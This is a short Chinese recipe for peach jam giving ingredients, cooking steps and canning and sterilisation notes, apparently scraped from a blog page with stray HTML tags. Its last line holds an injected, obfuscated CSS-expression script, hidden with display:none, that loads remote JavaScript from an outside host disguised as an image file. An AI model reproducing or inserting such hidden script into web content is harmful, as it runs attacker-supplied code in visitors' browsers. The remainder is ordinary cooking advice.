材料:</STRONG>
蜜桃 700g  麦芽糖 150g  砂糖 70g
柠檬 1个扎汁  水 100g 
做法:</STRONG>
    水蜜桃去皮去核后切成小块,加水加柠檬汁煮开,加麦芽糖小火继续熬煮至麦芽糖完全溶化后加入砂糖,煮至浓稠状趁热装入事先消毒好的瓶子里并盖紧盖子放凉冷藏。
  注: 糖是最好的防腐剂.如果不能尽快消灭就不要减掉太多糖量.     柠檬能增加果酱色泽和风味.君度橙酒也是增加风味.如没有可省略.     小火熬煮     果酱出锅后应立即趁热装罐。装入罐后的温度不得低于85℃。封罐后放在100℃的沸水或蒸汽中蒸煮20分钟左右进行杀菌,然后冷却,擦干罐身   ee:expression_r_r(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement_x(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none"  阅读全文>>